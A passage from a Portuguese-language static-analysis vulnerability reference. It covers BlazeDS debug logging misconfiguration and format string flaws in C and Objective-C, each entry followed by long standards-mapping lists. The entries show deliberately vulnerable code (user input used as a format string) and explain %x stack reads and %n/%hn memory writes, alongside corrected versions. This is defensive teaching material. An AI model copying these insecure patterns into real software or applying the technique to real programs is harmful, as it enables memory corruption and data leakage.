[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.file_permission_manipulation
Abstract
As informações de depuração ajudam os invasores a aprender sobre o sistema e planejar uma forma de ataque.
Explanation
Se você estiver usando o Blaze DS para realizar o registro em log de eventos inesperados, o arquivo descritor services-config.xml especificará um elemento XML "Logging" para descrever vários aspectos desse registro. Parece o seguinte:

Exemplo:

<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>


Essa tag target usa um atributo opcional denominado level, que indica o nível de log. Se o nível de depuração for definido com um nível muito detalhado, seu aplicativo pode gravar dados confidenciais no arquivo de log.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark complete
[6] Standards Mapping - Common Weakness Enumeration CWE ID 11
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[8] Standards Mapping - FIPS200 CM
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[14] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.flex_misconfiguration_debug_information
Abstract
Permitir que um invasor controle a string de formato de uma função pode resultar em um buffer overflow.
Explanation
Vulnerabilidades de string de formato ocorrem quando:

1. Os dados entram em um aplicativo por uma fonte não confiável.



2. Os dados são transmitidos como o argumento de string de formato para uma função como sprintf(), FormatMessageW() ou syslog().
Exemplo 1: O código a seguir copia um argumento de linha de comando em um buffer usando snprintf().


int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}


Esse código permite que um invasor visualize o conteúdo da pilha e grave nessa pilha usando um argumento de linha de comando que contém uma sequência de diretivas de formatação. O invasor pode ler a partir da pilha fornecendo mais diretivas de formatação, como %x, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.) Ao usar a diretiva de formatação %n, o invasor pode gravar na pilha, fazendo com que snprintf() grave no argumento especificado o número de bytes cuja saída foi processada até o momento (em vez de ler um valor do argumento, que é o comportamento pretendido). Uma versão sofisticada desse ataque usará quatro gravações escalonadas para controlar completamente o valor de um apontador na pilha.

Exemplo 2: Certas implementações facilitam ainda mais alguns ataques mais avançados, fornecendo diretivas de formato que controlam a localização na memória na qual realizar leituras ou gravações. Um exemplo dessas diretivas é mostrado no código a seguir, escrito para glibc:


printf("%d %d %1$d %1$d\n", 5, 9);


Esse código produz a seguinte saída:


5 9 5 5


Também é possível usar meias-gravações (%hn) para controlar com precisão DWORDS arbitrários na memória, o que reduz significativamente a complexidade necessária para executar um ataque que, de outra forma, exigiria quatro gravações escalonadas, como o mencionado no Example 1.

Exemplo 3: As vulnerabilidades de string de formato simples muitas vezes são resultantes de atalhos aparentemente inofensivos. O uso de alguns desses atalhos é tão arraigado que os programadores talvez nem mesmo percebam que a função que eles estão usando espera um argumento de string de formato.

Por exemplo, a função é syslog() por vezes utilizada da seguinte maneira:


...
syslog(LOG_ERR, cmdBuf);
...


Como o segundo parâmetro para syslog() é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf é interpretada conforme descrito no Example 1.

O código a seguir mostra o uso correto de syslog():


...
syslog(LOG_ERR, "%s", cmdBuf);
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.cpp.format_string
Abstract
Um invasor pode controlar o argumento de formato String que permite um ataque muito parecido com um buffer overflow.
Explanation
Vulnerabilidades de string de formato ocorrem quando:

1. Os dados entram em um aplicativo por uma fonte não confiável.



2. Os dados são transmitidos a uma função tal como sprintf(), FormatMessageW(), syslog(), NSLog, ou NSString.stringWithFormatcomo um argumento do formato String
Exemplo 1: O código a seguir utiliza um argumento de linha de comando como um formato String em NSString.stringWithFormat:.


int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}


Esse código permite a um invasor visualizar o conteúdo da pilha e danificá-la ao usar um argumento de linha de comando que contém uma sequência de diretivas de formatação. O invasor pode ler a partir da pilha fornecendo mais diretivas de formatação, como %x, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.)

O Objective-C dá suporte às bibliotecas C padrão herdadas para que estes exemplos sejam exploráveis caso o seu aplicativo use APIs C.

Exemplo 2: Certas implementações facilitam ainda mais alguns ataques mais avançados, fornecendo diretivas de formato que controlam a localização na memória na qual realizar leituras ou gravações. Um exemplo dessas diretivas é mostrado no código a seguir, escrito para glibc:


printf("%d %d %1$d %1$d\n", 5, 9);


Esse código produz a seguinte saída:


5 9 5 5


Também é possível usar meias-gravações (%hn) para controlar com precisão DWORDS arbitrários na memória, o que reduz significativamente a complexidade necessária para executar um ataque que, de outra forma, exigiria quatro gravações escalonadas, como o mencionado no Example 1.

Exemplo 3: As vulnerabilidades de string de formato simples muitas vezes são resultantes de atalhos aparentemente inofensivos. O uso de alguns desses atalhos é tão arraigado que os programadores talvez nem mesmo percebam que a função que eles estão usando espera um argumento de string de formato.

Por exemplo, a função é syslog() por vezes utilizada da seguinte maneira:


...
syslog(LOG_ERR, cmdBuf);
...


Como o segundo parâmetro para syslog() é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf é interpretada conforme descrito no Example 1.

O código a seguir mostra o uso correto de syslog():


...
syslog(LOG_ERR, "%s", cmdBuf);
...
Exemplo 4: As classes principais da Apple proporcionam rotas interessantes para explorar as vulnerabilidades do formato String.

Por exemplo, a função é String.stringByAppendingFormat() por vezes utilizada da seguinte maneira:


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...


O stringByAppendingFormat analisará todos os caracteres do formato String contidos na NSString transmitidos a ele.

O código a seguir mostra o uso correto de stringByAppendingFormat():


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.objc.format_string
Abstract
O programa usa uma cadeia de formato indevidamente construída que contém um número de especificadores de conversão diferente do número de argumentos da função. Cadeias de caracteres com formato incorreto podem fazer com que o programa leia dados fora dos limites da memória alocada, o que pode permitir o acesso a informações confidenciais, introduzir comportamentos impróprios ou travar o programa.
Explanation
O buffer overflow é provavelmente a forma mais conhecida de vulnerabilidade de segurança de software. A maioria dos desenvolvedores de software sabe o que é uma vulnerabilidade de buffer overflow, mas ataques de buffer overflow contra aplicativos legados e recém-desenvolvidos ainda são bastante comuns. Uma parte do problema deve-se à grande variedade de maneiras de como estouros de buffer podem ocorrer, enquanto outra parte deve-se às técnicas propensas a erros frequentemente utilizadas para impedir esses estouros.

Em uma exploração de buffer overflow clássica, o invasor envia dados a um programa, que ele armazena em um buffer de pilha de tamanho menor do que o normal. O resultado é que as informações na pilha de chamadas são substituídas, incluindo o apontador de retorno da função. Os dados definem o valor do apontador de retorno de forma que, quando a função é retornada, ela transfere o controle para o código mal-intencionado contido nos dados do invasor.

Embora esse tipo de buffer overflow de pilha ainda seja comum em algumas plataformas e comunidades de desenvolvimento, há vários outros tipos de buffer overflow, incluindo estouros de buffer de heap e erros "off-by-one", entre outros. Existem diversos livros excelentes que fornecem informações detalhadas sobre como ataques de buffer overflow funcionam, entre eles Building Secure Software [1], Writing Secure Code [2] e The Shellcoder's Handbook [3].

Em nível de código, vulnerabilidades de buffer overflow geralmente envolvem a violação das premissas do programador. Muitas funções de manipulação de memória em C e C++ não realizam verificações de limites e podem facilmente exceder os limites alocados dos buffers sob os quais elas operam. Até mesmo funções limitadas, como strncpy(), podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.

Nesse caso, uma cadeia de formato indevidamente construída faz com que o programa acesse valores fora dos limites da memória alocada.

Exemplo: O exemplo a seguir lê valores arbitrários da pilha, porque o número de especificadores de formato não está alinhado ao número de argumentos transmitidos para a função.

void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 126
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[19] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[20] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
